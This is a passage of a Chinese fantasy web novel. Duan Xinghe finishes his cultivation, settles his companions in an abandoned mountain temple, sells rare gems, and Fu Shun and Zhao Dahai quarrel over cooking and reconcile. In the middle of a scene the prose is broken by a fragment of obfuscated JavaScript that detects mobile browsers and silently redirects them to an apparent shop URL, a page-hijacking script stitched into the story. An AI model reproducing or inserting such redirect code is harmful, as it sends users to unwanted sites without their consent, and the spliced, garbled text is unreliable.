天玺真人还有些不放心,嘱咐道:“你的身体与别人不同,得时刻看着自己的状态。日后有时间,你去四灵山的清净泉里凿一块石头带在身上。那里的玉石受清净泉净化,是世上至纯至正之物。如果你的状况恶化了,它的颜色就会变得污浊。” 段星河正需要这样的东西来提醒自己,记在了心里,道:“多谢师父,我知道了。” 段星河在先贤祠后的静室中潜心修炼了一个半月,把太一心经的内容全都记在了心里。天玺真人考较了他一番,发现段星河记得只字不差,赞许道:“很好,你已经全都记住了,可以出去了。” 段星河的眼睛顿时亮了起来,他被闷在这里一个多月,感觉自己都要发霉了。他毕竟是年轻人心性,静不下来。天玺真人微微一笑,道:“修习此功是天长日久的功夫,以后为师不在时,你也要勤加修习,不可懈怠。” 段星河道:“是。” 他这段时间已经想好了,道:“弟子过几天就去四灵山凿玉,师父有什么吩咐么?” 天玺真人想了一下,道:“那就顺便送义灵使回去吧,那边灵力充沛,它也好休养。” 先前义灵使为了保护蜀山弟子,动用了不少灵力,也该闭关一顿时间了。 段星河向师父行了礼,破关而出。灿烂的阳光照在身上,清风拂面,是个明朗的好日子。他心中一阵喜悦,想着兄弟们应该都很想念自己了,大步向西峰走去。 107.白云观 一 段星河回到了弟子房,此时还没到中午,大家闲来无事都聚在步云邪屋里。伏顺和赵大海正歪在罗汉床上打叶子牌,听见了脚步声,还以为是有人来查房了,连忙把东西胡乱一收,塞到了屁股底下。 众人听说大师兄去先贤祠后面的静室修炼了,都很替他高兴,也不知道要等多久。刘毅君说起码两三个月,大家便在这里住着,每天晒晒太阳,自己修炼一阵子,日子过得很是悠闲。没想到这才两个月不到,段星河就回来了。众人喜出望外,围上去道:“怎么样,大师兄,学成了吗?” 段星河微微一笑道:“入门了,总得再修行个百八十年,慢慢来吧。” 天玺真人都修了好几百年了,头发胡子花白一大把还没练成,急也没有用。不管怎么样,他学到了蜀山的不传之秘,大家都很替他高兴。步云邪看着他,感觉他的目光内敛,浑身蕴藏着力量,确实跟从前不一样了。 他道:“星哥,恭喜你。” 李玉真也道:“学了这个心法,以后就不会那么难受了吧?” 段星河道:“只要坚持修习,就能慢慢控制煞气,日久天长总能缓解的。” 其他人以为没事了,都很高兴,步云邪跟他对视了一眼,彼此都知道他们的处境只是稍微缓和了一点。段星河转头看向了伏顺,见他腿上缠着白色的绷带,墙角放着一根拐杖。他道:“你腿没事了吧?” 伏顺之前被丧尸咬伤了腿,伤口处的肉被割掉了,一个多月了还没长齐全。他在床上躺了好一阵子,最近实在憋得难受,每天拄着拐杖到处乱蹦。他道:“没事了,身上的毒都清干净了,就是腿脚还不利索。二师兄说再养半个月就能好起来了。” “那就好,”段星河在罗汉床上坐下了,“多休息,吃点好的。让厨房给你炖点猪蹄子,以形补形。” 伏顺挺高兴,片刻回味过来了,道:“哥你说我是猪。” 段星河扬起嘴角道:“少臭美了,你哪有猪可爱。” 墨墨飞到了他的腿上,段星河把儿子举起来蹭了蹭,道:“瓜皮,想我了吗?” 墨墨鼻子扬得老高,眼睛亮晶晶的,显然十分想他。段星河摸了摸它的小肚子,感觉肉墩墩的,道:“胖了,喂得不错啊。” 步云邪道:“我一直带着它,免得被人拿去擦脚。它最近除了吃就是睡,肯定长膘。” 魏小雨感觉师兄们在说自己,不知道他们是怎么知道的。她挠了挠头道:“我没……我脚又不臭。” 她想否认,宋胡缨她们都知道,自己也抵赖不了。瓜皮跑了,最近被拿来擦脚的成了小对眼,它身上的毛厚,擦起来软软的很舒服。但小对眼的脾气没有那么好,有时候会对人伸爪子。魏小雨惹了它几回,自己的脚上也被抓了几道,终于放弃了。 段星河随手把床上的叶子牌拢起来,扔到了茶桌上,道:“玩牌就玩,藏什么,狗狗祟祟的。” 赵大海委屈道:“刘大姐不让玩,说我们玩起来大呼小叫的,不合规矩。她看见就没收,都拿走好几副牌了。” 他说的应该是刘毅君,她带领着蜀山这么多弟子,对规矩抓的很严。李玉真是太清宫出来的,从小受父亲的管教,知道这些大宗门要求有多严格,道:“这里是清修的地方,就算不出动静,老这么个玩法也不合适。” 伏顺道:“酒不能喝,肉也不让吃,打牌也不许……一个个都活的像老头子一样,太没意思了吧。” 六幺坐在一旁,低头看了一眼剑,补了一句:“还不让杀人打架,我的剑都要长锈了。” 司空玉道:“那你去找几个妖魔杀嘛,别说这么吓人的话。” 段星河没说话,自己的这些兄弟是有点自由散漫,但他们天性如此,不爱受约束。老是陪自己在蜀山待着,他们束手缚脚的不舒服。但若是不约束他们,对于蜀山的其他弟子也不公平。 这样下去不是长久之计,段星河沉吟着,一时间不知道该如何解决。这时候嗡的一声,就见书架顶上的一个篮子里,有个金色圆环嵌套而成的球体微微转动,飘了起来。 是义灵使,它变得这么小,刚才段星河都没注意到它。他见金球飘了一阵子,又回到篮子里,静静地沉了下去。段星河有点疑惑,道:“它怎么了?” “梦游吧,”步云邪道,“它睡了十来天了,有时候会浮起来飘一会儿,喊它也没反应。” 魏小雨道:“梦游为什么老原地打转?” 六幺抱着臂道:“它以前被关在山洞里,就那么大点地方,走得远了会撞墙吧。” 大家觉得很有道理,又有点同情它。它虽然不喜欢被关着,但也已经习惯那个黑漆漆的山洞了,那么孤寂的日子就这么过了几百年,无聊得灵魂都要变成石头了。也难怪它一点架子也没有,就喜欢跟小辈待在一起。 段星河道:“义灵使之前净化蜀山,消耗了不少力量。咱们送它回四灵山吧,让它好好休息一阵子。我也要去清净泉一趟,师父让我凿块玉带在身上。” 大家正好在这里待得憋闷,一想到出去了就不用守这么多规矩了,都高兴起来。赵大海兴奋道:“好啊,咱们什么时候走?” 段星河道:“明天吧,大家收拾一下,早上就出发。” 次日一早,众人离开了蜀山。赵大海赶着他的大车格外有精神,道:“总算有点活儿干了,之前们在山上都快闲出屁来了。兄弟们,我一半的灵魂复活了!” 伏顺道:“另一半呢?” 李玉真笑了,道:“我知道,做大锅饭的时候复活另一半。” 众人仿佛闻到了玉米粥的味道,都沉默了下来。义灵使在马车里打着瞌睡,金色的光芒像呼吸一样,一闪一闪的。伏顺小心翼翼地推了推它,金色的球滚了一下,又滚了回来,跟不倒翁似的。伏顺有种摸老虎屁股的兴奋感,道:“真有意思,这还没醒呢。” 李玉真额头上渗出了汗,不想年纪轻轻的就去见祖师爷,道:“别乱动啊,小心它一拳给你揍到地里去,抠都抠不出来。” 伏顺见识过它的厉害,讪讪地缩回了手。大车走了两天,傍晚来到了四灵山。赵大海先驾着车来到了禁地山谷,众人下了车,伏顺探头进了车厢,道:“老神仙,到家啦,该醒醒啦。” 义灵使周身的金环转了几下,嗖地一下浮了起来。它飘在自己住过的山洞前,感慨道:“回来了……这熟悉又可恨的地方。” 段星河道:“不喜欢吗?” 义灵使道:“也没什么喜不喜欢的,总归是习惯了。多谢你们送我回来,你们还要回蜀山么?” 段星河刚来,不想这么快就走。他道:“我得去清净泉里凿块石头,然后找个地方修炼,再说吧……还没想好呢。” 义灵使笑了,了然道:“年轻人,是觉得蜀山的规矩多,不愿意受约束?” 段星河被它说中了,笑了一下。义灵使道:“这里的灵气充沛,跟蜀山相差无几,你在这儿待着就行了。本座送你个名目,你师父要是问起来,就说是我让你留下来陪着我的。” 段星河寻思了一下,觉得这样倒是不错,只是这么多人没地方住。义灵使道:“半山腰还有个道观,你去看看能不能住人。规矩是死的,人是活的,脑子不要太死板。” 步云邪的心思一动,道:“前辈说的是啊,白云观不是空着么?” 李玉真道:“就是怕不合适。” 步云邪道:“天天空着,也是让野猫野狗、孤魂野鬼抢去做了道场,还不如有点人气,还能护一护房子。” 段星河想了想,道:“等会儿过去问问吧,跟原主人商量商量。” 宋胡缨漠然道:“人都死了,你跟谁问?” 段星河道:“占卜问灵嘛,去了再说。” 义灵使操完了心,道:“我要睡觉了,你们忙你们的吧,有事再喊本座。” 它嗡地一声飞进了山洞里,金光渐渐黯淡下去,跟之前的浅睡不同,这回是陷入深层次的休眠了。 赵大海驾着大车来到半山腰,把东西放在了白云观门口。段星河道:“我先上山一趟,你们在这儿等一会儿吧。” 步云邪没什么事,跟他一起去了。此时是暮春时节,山中的海棠花已经褪去了艳色,变成了白色的花朵。风一吹,花瓣像雪一样飞散,有种寂然的美感。 两人来到了山顶,清净泉清澈见底,三股泉水骨突突的。步云邪鞠了一捧水喝了,感觉十分甘甜。段星河取水洗了一把脸,也觉得精神一震。 泉池里的石头是莹白色的,如玉石一般。段星河拔出了幽冥剑,找了一块凸起的石头,用力凿了几下,撬下了一块巴掌大的清净石。步云邪道:“这样有点粗糙吧?” 段星河道:“拿回去打磨一下,反正也不讲究,弄个圆形的无事牌好了。” 有了这石头,他就能时刻监控自己的状态了。段星河揣着它,心里踏实了不少。 两人一起回到半山腰,见赵大海他们坐在大车上,正在啃带来的干粮,凑合着垫了肚子。段星河眼看天色快暗下来了,道:“走吧,咱们进去看看。” 众人来到白云观里,先前他们火葬了冬青子等人,因为时间仓促,只能先把骨灰装在坛子里。如今有时间了,段星河打算找个合适的日子给他们下葬。 白云观北边有个祠堂,里头供奉着历代掌教。这里虽然跟蜀山不能比,但也有自己的传承,堂里挂着几代先师的画像。段星河点了四柱香,祷祝道:“在下段星河,与冬青子先生是忘年之交。先前妖魔杀害了白云观的道友,在下为不幸遇难的弟子报了仇。如今我等想借贵宝地修炼,不知列位前辈能否答允?” 他把香插进了香炉里,见旁边有两片筊杯,拿起来合在手心里,虔诚道:“若允许我等居住在此,晚辈会为白云观再收弟子,接续香火,请前辈示下。” 伏顺等人本来觉得反正没人住了,直接搬进来就成了。但段星河行事一向光明磊落,不欺鬼神,这么坦坦荡荡的也很好。 他掷了三次,结果阴圣圣,是浮云将散,家业中兴之意。段星河松了口气,道:“多谢前辈。” 他向画像行了一礼,转身露出了笑容,道:“把东西拿进来吧,前辈同意了!” 众人欢呼起来,呼啦一下子涌出了祠堂,朝大门外奔去。赵大海把大车驶进来,把马牵到了牲口棚里。六幺和李玉真把沉重的行李、帐篷等物卸下来,找到库房放了进去。司空玉闲来无事,见院子一角歪着一把大笤帚,捡起来帮忙扫地。六幺从库房回来,见县主在亲自扫地,吓了一跳。他一个箭步冲过来,道:“万万不可,放着我来!” 司空玉道:“我扫个地而已,你这么紧张干什么?” 六幺将笤帚拿走了,道:“县主看着小对眼它们吧,一会儿就吃饭了。” 自己在这里,他们都不放心,还要唠唠叨叨的。司空玉只好抱起了小对眼,伸手一招,墨墨拍着翅膀飞过来,跟她进屋歇着去了。 结香收拾了几间卧房出来,把被褥换成了他们自己带来的。床帐上满是灰尘,躺一宿就要被呛死了。她都摘了下来,堆在走廊上。等太阳出来了,洗完晒完,总得两三天时间。 赵大海找到了厨房,把大米、面粉和粟米口袋都堆了进去,鸡蛋满满地装在篮子里,干辣椒和腊肉挂在了窗外。他攥着大勺,感觉自己的另外一半灵魂复苏了。这么好的日子,怎么说也得熬一大锅玉米粥庆祝一下。 段星河和步云邪把厅堂和饭堂收拾干净了,宋胡缨打了一大缸水,又把客房的桌椅擦了一遍。天黑了下来,李玉真点起了灯笼,大声道:“开饭啦——” 人散落在各个地方,也不知道他们在忙活什么,只能靠吼。幸亏大家都饿了,听见动静就围了过来。这边的饭堂挺大的,能容纳百十来人吃饭。但白云观原来也只有五十来个人,可见他们早先还是人丁兴旺过一阵子的。晚上有火腿炒鸡蛋、白菜炖豆腐、笋干炒腊肉、白米饭和玉米粥。伏顺道:“咱们在这住下了,大师兄要说几句么?” 段星河简短道:“有家了,大家静下心来好好修炼一阵子,好好吃饭,好好睡觉。” 他们在这个世界漂泊了这么久,一直都没有根,如今终于有了一个落脚的地方,都发自内心的高兴,纷纷应道:“好!” 段星河不想讲究太多,道:“吃饭吧。” 众人饱餐了一顿,都累坏了,各自回屋去休息。结香留在院子里洗碗,伏顺拄着拐杖,道:“水多凉啊,把你手冻坏了。” “我没事,”结香道,“你腿不好,快回去休息。” 伏顺已经扬声道:“大傻,有没有热水,给你妹子兑一兑。” 赵大海收拾着东西,道:“你自己进来拿嘛。” 伏顺拄着拐杖进了厨房,舀了一瓢热水倒在洗衣盆里。水暖和起来了,结香道:“谢谢。” 伏顺道:“以后这些活儿留给我,我帮你干。” 结香摇了摇头,道:“我平时也没什么用,要是连碗都不洗,跟着大家吃白饭多不好意思。” “谁说的,”伏顺皱起了眉头,道,“你帮大家缝缝补补,打扫收拾,不少活儿都是你干的。没有你,大家的日子哪能过得这么舒服。” 从前她在家里,爹娘哥哥只会嫌她懒,如今却有人夸她。结香心里一暖,目光也温柔了起来。 赵大海刷完了锅,在围裙上擦着手,从厨房里出来了。他见伏顺拄着拐杖还要跟姑娘搭话,实在是身残志坚。赵大海有点看不过去,道:“兄弟,我送你回去吧。” 伏顺还舍不得走,道:“我腿不疼,没事!” 赵大海不管三七二十一,拿过他的拐杖,架着伏顺的胳膊就把他拉走了。结香噗嗤一笑,垂下了眼,继续洗起了盆里的碗。 回到住处,段星河点起了一盏灯,把屋子照亮了。结香她们把房间收拾的很干净,桌子上没有一点灰尘,床也铺的整整齐齐的。段星河打开窗户,柔和的晚风吹了进来,感觉很舒畅。 既然决定要在这里住下了,还是得跟师父报备一声。他找了一叠信笺,提笔写了封信,说这里灵气充沛,自己打算在这里修炼一段时间。他把信叠了起来,去隔壁找李玉真,道:“李兄,睡了吗?” 李玉真刚洗漱完,开门道:“怎么啦?” 段星河道:“帮我寄封信成不成?” 李玉真道:“有什么不成的,往哪儿送?” “往蜀山,”段星河道,“咱们在这儿住下了,跟我师父说一声。” 李玉真拿黄纸叠了个纸鹤,手中结了一道蓝色的灵光,融入了纸鹤中。他把信塞到了纸鹤的肚子里,道:“去蜀山,嗯,内围有结界……送到山门口就行了,会有弟子帮忙送上山去的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220893|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纸鹤拍了拍翅膀,带着灵光从窗户里飞了出去,渐渐消失在夜色里。段星河道:“多谢了。” 李玉真道:“有什么好客气的。明天早上我睡懒觉,别叫我啊。” “放心吧,”段星河道,“大家都想睡到自然醒,没人叫你。” 一群人在白云观睡了一大觉,次日下午才起来,段星河带着众人把冬青子等人的骨灰埋在了墓园里,了却了一桩心事。傍晚时分,那只纸鹤飞了回来,冒着金色的灵光漂浮在段星河的窗户前。伏顺拄着拐杖从走廊上经过,道:“这是什么,金色传说?” 段星河从屋里伸出手,把它捞了进去,打开来一看,见上头就写着一个字。 “可。” 段星河露出了笑容,道:“师父准了,踏实在这儿待着吧。” 众人顿时高兴起来,在这里无拘无束的,想吃什么就吃什么,想几点起就几点起,可比蜀山自在多了。再说段星河是蜀山弟子,他们又不是,跟着在那里也别扭,还是在这里舒服。 步云邪本来靠在罗汉床上,此时胳膊支在小茶桌上,转头看着他道:“咱们在这儿待多久,有打算么?” 外头的墙被那些怪物轰塌了,里头也破破烂烂的,损毁程度在四成左右。要是打算长住,就不能这么凑合了。 段星河道:“先把房子修一修,在这里修炼一段时间。明天大海跟我下山一趟,我找几个工匠过来,怎么说也得把墙砌上。” 赵大海答应了,李玉真拿了张纸,把大家要买的东西记了下来。姑娘们需要香胰子、擦脸油、笔墨纸张,结香要棉布和针线,赵大海要屯一些油盐酱醋,鲜肉和蔬菜。 次日一早,他们出了白云观。清风徐徐吹来,段星河坐在大车里,胳膊搭在窗户上,看着远处的天空,蓦然有种熟悉的感觉。 两年前他们就这样下了青岩山,去帮师娘买祭祀用的三牲。那时候他们还穷得很,师娘当了簪子才有钱买东西。当时段星河就暗暗下了决心,一定要挣大钱,让大家过上好日子。后来他攒了足够的钱,回去盖了房子,给师娘买了新的簪子,还找回了小雨。 那么多愿望都实现了,他也该静下来为自己考虑一下了。 他的身体需要慢慢调养,可能要花三五十年,也可能要三五百年。对于修仙的人来说,那都不是太遥远的事。他已经学到了太一心经,只要慢慢修炼,总会好起来的。 等过一段时间,他身体的情况稳定了,就想办法送小雨回去。天外天的灵气充沛,他准备以后长时间在这里修炼。杀害师父的凶手还没找到,他打算慢慢查访,只要多加留意,总能找到线索。 马车从碎石子路上驶过,赵大海挥了一下鞭子,道:“大师兄,咱们兜兜转转的,好像走了一圈又回来了。这里是巴蜀的地界,四灵山跟咱们老家青岩山也挺像的,就像一面镜子照着两边似的。” 段星河嗯了一声,也有这种感觉。有时候他怀疑一切都是一场梦,这边的世界虽然光怪陆离,却也是真实的。或许宇宙中有许多个平行的世界,他们所在的这两个世界,也只如芥子微尘一般,飘浮在浩瀚的时间与空间之中。 离开家也快一年了,赵大海坐在车前道:“你想家么,我有点想师娘她们了。” 段星河道:“等过段时间,咱们找个通道回家看看。” 赵大海兴奋起来,道:“巴蜀有通道吗?” “应该有吧,”段星河道,“李兄说每个地界上都有一两个。遇上了就在地图上标出来,以后就不用瞎跑了。” 赵大海道:“诶,于百川不是搞情报的吗,你说他们会不会知道具体的位置?” 他这么一说,段星河的精神顿时一振,本来还觉得要找通道是件麻烦事,但若是于百川的话,说不定真的知道。他道:“有机会找个他们的分舵问一问。” 两人去了附近的镇子上,赵大海去买东西。段星河找了几个工匠,让他们去四灵山把白云观修一修。工头说明天先去看看情况,估个价再说。从工匠铺子里出来,街上熙熙攘攘的,店铺林立,还有凌烟阁的分舵。段星河进了前头门面,从腰包里掏出几颗青龙血,道:“帮我看看这个多少钱。” 鉴宝师本来没怎么在意,拿起来对着光一照,发现那几颗宝石暗红里透着绿,沉甸甸的颇有分量,质地有些像琥珀,带着一股若有似无的香气。他脸色顿时变了,道:“青龙血?” 段星河道:“对,收么?” 四圣兽身上的东西极其罕见,是有市无价的宝贝。鉴宝师手心里的汗都渗出来了,道:“你怎么弄到手的?” 段星河靠在柜台上,轻描淡写道:“自己打的。” 鉴宝师的脸都青了,看这青年神光内敛,颇有一派威仪,好像真有些本事。他看了一眼左右,店里没有外人。他道:“还有半年才开拍卖会,阁下是要代卖,还是直接卖给我们?” 段星河急着用钱,等半年房子透风撒气的,人都遭老罪了。他道:“直接买给你们,估个价吧。” 鉴宝师道:“稍等。” 他去后头跟他们掌柜的说了几句,掌柜的拿着个镶金的放大镜出来了,对着光看了半天,又放在灯烛上烧了片刻,宝石上升起一股青烟,整个屋子里都弥漫起一股让人迷醉的异香。那两人确认是真货,慎重道:“三百两银子一钱。” 这种东西在市面上极其罕见,多少钱也没个定数。他们出的价格肯定低于正常价,段星河道:“低了。” 鉴宝师跟掌柜的互相看了一眼,道:“这个未必有人卖,我们收这个也担风险。” 段星河把桌上的宝石一收,道:“那就算了。” 他转身要走,那两个人急了,这宝贝世间难求,是修炼的法宝,不少人就需要这东西来突破境界,花多少钱他们都愿意。掌柜的道:“小兄弟,你等等,咱们好商量。三百五十两银子一钱……不,四百两,我血亏了!” 他从小帮师娘买东西,知道还价要往三分之一里砍。他漠然道:“一千两一钱,收不收,不收我走了。” 掌柜的脸扭曲了一下,肉疼道:“八百两一钱,不能再多了。” 段星河把品质好的都给阿云留下炼丹了,剩下这些绿豆一样大小的留着也没大用,多少换些钱,回去也能给兄弟们分一分。他道:“行吧,给我称称。” 他把宝石放在了柜台上,鉴宝师称完了,把算盘打得噼啪响,道:“一共一两四钱,白银一万一千二百两,要现钱还是银票?” 段星河要了一千二百两现银,其他的兑成银票。他走出凌烟阁,掂了掂手里的银子,有些感慨。如今自己今非昔比,再也不用为了钱发愁了。 赵大海买完了东西,车里塞满了牛羊肉、时鲜果子和好几筐蔬菜,还有成堆的布匹和一些日用品。赵大海道:“再去什么地方?” 段星河一身轻松,道:“没事了,等会儿我贴张告示。” 大车来到了镇子口的公告牌前,段星河从车里拿出了一张告示,刷了点浆糊贴在板子上。旁边有人路过,道:“这干嘛的……招募?” 纸上写着:“四灵山白云观招徒弟,有修行基础的最好,要求识字、身体健康、品行周正,男女不限,包食宿,教修行功课。” 他承诺了帮白云观传香火,就得做到。段星河拍了拍手上的灰,倒退看了一眼,满意道:“行了,走吧。” 108.白云观 二 两个人坐着大车回去了,次日工人们来到观里,到处看了一圈,估了个包工包料的价格,全弄好八百两。段星河道:“多长时间修完?” 工头拿烟杆搔了搔背,说:“得一个月吧。” 段星河道:“行,明天开工吧。” 他付了定金,工人们就去准备材料了。伏顺跃跃欲试道:“哥,哪来那么多钱?” 段星河知道他闻见钱味儿了,之前拿到青龙血就说买了钱给大家分。他故意道:“早先挣的呗,修房子都花完了,以后得吃青菜豆腐了。” 伏顺浑身都像撒了气似的,道:“不是吧,折腾了这么久,越混越穷?” 段星河扬眉道:“没钱你就不跟着哥了?” 不跟着他们,伏顺也没什么活命的本事,这样起码还包吃住。他道:“再穷你也是我哥嘛……不至于这么困难吧,连买身新衣裳的钱都没有?” 段星河便笑了,招了招手,道:“兄弟们,来。” 大家跟他进了屋,段星河已经把钱准备好了。他给其他人各发了五百两银票,给结香和魏小雨每人一百两。结香没想到自己一个丫鬟也能分这么多钱,十分高兴,福了一福道:“多谢段师兄。” 段星河道:“小雨这钱是给你的,你现在还小,哥先帮你存着。” 他两指夹着银票在魏小雨面前一晃,要给她闻味儿似的,随即收了回去。魏小雨就知道大师兄虚晃一枪,噘着嘴道:“你怎么跟我娘一样,老说帮我存着,然后就没下文了。” 其他人笑了,大家小时候都差不多。段星河从腰包里掏出一块银子递给她,道:“小孩儿拿那么多钱惹事。给你零钱,花完了再跟我要。” 那块银子有一两,够她买不少糖吃了。魏小雨总算消停了,跟小对眼去外头玩了。大家分了钱也很高兴,有钱有地方住,可以安心休息一段时间了。 结香自从跟着他们,攒了不少私房钱,一个人养老过一辈子都够了。她刚从村子里出来时还小心翼翼的,生怕行差踏错了半步。如今却开朗多了,脸上常带着笑容。 跟着他们离开老家,是她这一辈子做得最正确的选择。大家不像父母哥哥一样,对她呼来喝去的,而是把她当成人来尊重,只是这一点就让她很感激了。宋胡缨和司空玉对她很好,赵大海也一直在保护她。结香以前有点怕伏顺,但相处久了,发现他其实人不坏。在蜀山上时,他为了保护自己还被丧尸咬伤了。 那是要命的事,他想也不想就把自己推开了,结香当时就懵了,实在想不到他会为自己做到这个地步。幸亏义灵使净化了他体内的尸毒,要不然结香真的要内疚一辈子。 她觉得自己欠他一条命,这段时间一直在尽力弥补他。伏顺吃的药都是她熬的,最近他身体渐渐好起来了,要在外面走一走,结香便时常过来扶着他锻炼腿脚。 伏顺平时拄着拐杖健步如飞,没事就去找赵大海打叶子牌。但自从结香来扶他锻炼之后,他的状况反而反向发展了。她不来,他就一直躺着哼哼唧唧的,好像真的瘫痪了似的。 伏顺摊着双手双脚躺在床上,脸上盖满了银票,白花花的钱随着呼吸上下飘动,散发着醉人的香气。他喃喃道:“有钱真好啊……这都是用命挣的,老子的腿都要废了。” 赵大海一屁股坐在床边,道:“你少来,昨天还看见你拄着拐杖撵着小对眼跑呢。” 每天这个时候,结香就要来给自己送饭了。伏顺扒开了脸上的银票,道:“你没自己的事要做吗,能不能去忙一会儿?” 赵大海打开了食盒,道:“我活都干完了,这不来给你送饭了吗。你是病人,吃点好消化的,我给你炒了菜,还熬了粥——” 他端出了一碗玉米粥,伏顺的脸都绿了,说:“我不饿,真的。” 赵大海拿勺子舀了一点送到他嘴边,道:“别客气,我喂你。” 伏顺觉得有必要跟他把话说清楚了,严肃道:“大海,你做的饭没有锅气,我想吃结香做的饭。” 赵大海有点懵,说:“什么锅气?” 伏顺大手一挥,比了个开盖的动作,说:“剑有剑气,锅有锅气。就是一开盖,那种油盐酱醋柴火味炖化了的肉味混合在一起的味道,很难形容。但是你闭眼想一想,就能感受得到。” 赵大海闭眼想了一会儿,只能想到玉米粥的味道。他说:“你就是嫌弃我。” 伏顺这辈子还没谈过恋爱,就算被人骂重色轻友,这个王八蛋他也当定了。他往床头上一靠道:“啊对对对,反正我受伤了,我就是要吃结香做的饭。” 结香拿着食盒从外面进来,没想到他已经在吃了。她道:“大海哥,你也在啊。我带了黄豆炖猪蹄,都切成小块了,尝尝吗?” 伏顺耸了耸鼻子,闻见了香气,道:“我要吃猪蹄。” 赵大海道:“先把粥喝完。” 伏顺硬生生打了个嗝,道:“我喝不下了,我想吃肉。” 赵大海有点生气了,把勺子往碗里一撂。伏顺不管他高不高兴,探头望着结香,道:“大师兄说得对,受伤了要以形补形,快给我补补!” 结香从食盒里拿出了炖猪蹄,肉炖的软软的,还冒着热气。伏顺咽了一下口水,道:“你们也吃啊。” 赵大海没说话,仿佛闹小孩儿脾气似的,收拾了东西站起来,沉默着出去了。结香有点犹豫,道:“大海哥怎么了?” “他就那样,别管他。”伏顺迫不及待道,“我张嘴了快喂我,啊——” 伏顺刚吃了一块肉,忽然听见外头噔噔噔一阵响。却是赵大海越想越气,没走多远又回来了。他冷冷道:“就是装的!” 他一把抓起伏顺放在床头的银票,大步往外走去,顺手把他的拐杖也拿走了,看他来不来追。伏顺急眼了,道:“诶,怎么抢钱呢,回来——” 结香懵了,伏顺从床上下来,扶着墙一瘸一拐地撵了出去。 赵大海在院子里站着,手里攥着银票,等着伏顺来抢。伏顺道:“你干嘛?” 赵大海道:“你这不是能走吗?” 伏顺一把将银票夺了回去,道:“那又怎么了,瘸子急了还能跑呢!” “你还演,”赵大海道,“信不信我把你这条好腿也踹瘸了?” 他还没动,伏顺就碰瓷似的一歪身子坐在地上,大声道:“我腿都快断了,你还欺负我,什么人呐!” 结香从屋里出来,见伏顺虚弱地倒在地上,赵大海一副凶巴巴的表情。结香道:“大海哥,他身体还不好,你别惹他。” 赵大海没想到连结香都向着他,简直要气死了。他道:“好……好,你们俩一伙是吧,我不碍你们事了!” 他转身就走,独自回了厨房。他坐在磨台边发了一会儿呆,觉得浪费了不好,打开食盒喃喃道:“你不吃,我自己吃。” 他吃几口,吸一下鼻子,好像难过的哭了。工人们在远处修房子,有的砌墙,有的锯木头,搬着东西来来回回,哐哐哐当当当的。墨墨嫌那边吵,来这边躲清静。它从屋顶上飞下来,在赵大海身边看了他片刻,用脑袋蹭了蹭他的腿,仿佛在安慰他。 赵大海把碗递了过去,道:“你饿了吗,要吃粥吗?” 墨墨立刻卷起了鼻子,往后退去。赵大海顿时更难过了,站起来把粥和饭菜往鸡食盆里一扣,道:“都嫌弃我,我不做饭了,以后谁爱做谁做!” 鸡被吓得满棚乱窜,咯咯直叫。他像一头熊似的,低着头回屋去了。墨墨望着他的背影,有点莫名其妙,片刻拍了拍翅膀,找地方睡觉去了。 当天晚上大家来到饭堂,发现桌子上干干净净的,厨房里也没有人,都觉得奇怪。李玉真道:“晚上吃什么?” 结香下午在洗衣服,赵大海不让她抢自己的活,她没事也不去厨房,都是在忙活别的。 赵大海一罢工,连个做饭的人都没有。大家饿着肚子坐在一起,纷纷道:“大海病了吗,谁去弄点吃的。” 结香站了起来,道:“我来吧。” 晚饭她炒了一大锅鸡蛋,之前赵大海在山下买了几只鸡养着,每天都能捡到新鲜的鸡蛋。她手脚利索,很快就烙了一笸箩油酥烧饼,又炒了几个新鲜的菜蔬。大家吃着饭,总感觉少了点什么。平时虽然觉得大海做的大锅饭普通,可一旦没人做饭了,才显出他的重要性。 段星河看着桌上的饭菜,道:“没有玉米粥吗?” 步云邪道:“你真喝上瘾了?” 段星河道:“习惯了,一顿没有还怪想的。” 他回头看了一眼,道:“他怎么了,真病了?” 伏顺刚才拄着拐杖在附近溜达,此时也在。他寻思着是自己把大海气着了,有点后悔。伏顺沉默着吃完了饭,想了想,还是决定去看看他。 月亮照在屋前,赵大海坐在台阶上,手里拿着一块绿豆糕,两口就吃完了。他肚子有点饿,又拉不下脸去吃饭。这时候忽然闻见了一股香喷喷的葱油味,一阵热气贴了贴他的脸。他转过身,却是伏顺拿着个油纸包,给他送吃的来了。 伏顺没拄拐杖,是从走廊上绕过来的。赵大海还记得自己在生气,道:“你怎么来了……喔,你腿好了?” 伏顺在他身边坐下,也没白天碰瓷的那股劲儿了,嘿嘿一笑道:“确实好的差不多了,我就想赖着结香多照顾我几天,别老拆穿我成不成?” 他把油酥烧饼递给赵大海,道:“吃吧。” 赵大海毕竟肚子饿了,接过去啃了一口,烧饼还热乎着,又酥又香。他一口气吃了大半个,这才想起除了自己之外也没人会做饭了,道:“这哪来的?” 伏顺道:“结香做的。” 赵大海沉默下来,觉得是比自己做得好吃,可能这就是伏顺说的锅气吧。他意识到自己做饭的天赋真的很一般,不由得悲从中来,心情更难过了。 伏顺拿胳膊肘碰了碰他,道:“晚上没有粥喝,大家都不习惯,明天早晨你再熬点吧?” 赵大海闷闷不乐道:“往锅里撒一把玉米糁,狗都会熬。” “哎呀,别生我气了,”伏顺道,“马勺还有碰锅沿的时候呢,你抢我银票我不也没说什么吗。” 他说着伸手去搂他肩膀,赵大海闹别扭地挪了一下。伏顺不放弃,跟着挪过去,一把搂住了他。 “说正经的,”伏顺道,“我救了结香,人家想报答我嘛,所以常来送药送饭的,你别不高兴。” 赵大海看着他道:“我也想报答你啊。” 伏顺一愣,忽然想起那天晚上,自己不光救了结香,还拼命护住了赵大海。自己腿上的这块肉,其实就是为了救大海被丧尸咬掉的。 他没想到自己追着别人跑的时候,兄弟也在默默看着自己。他意识到自己伤了好兄弟的心,忽然就内疚起来了。大家出生入死了这么久,自己实在不该这么无情。他也不知道该怎么弥补才好,索性抬手打了自己一巴掌,道:“对不起。” 赵大海吓了一跳,道:“你打自己干什么?” 伏顺道:“我不讲兄弟义气,该打。” 赵大海摇了摇头,静了许久道:“你没有错,人不能在原地待一辈子。” 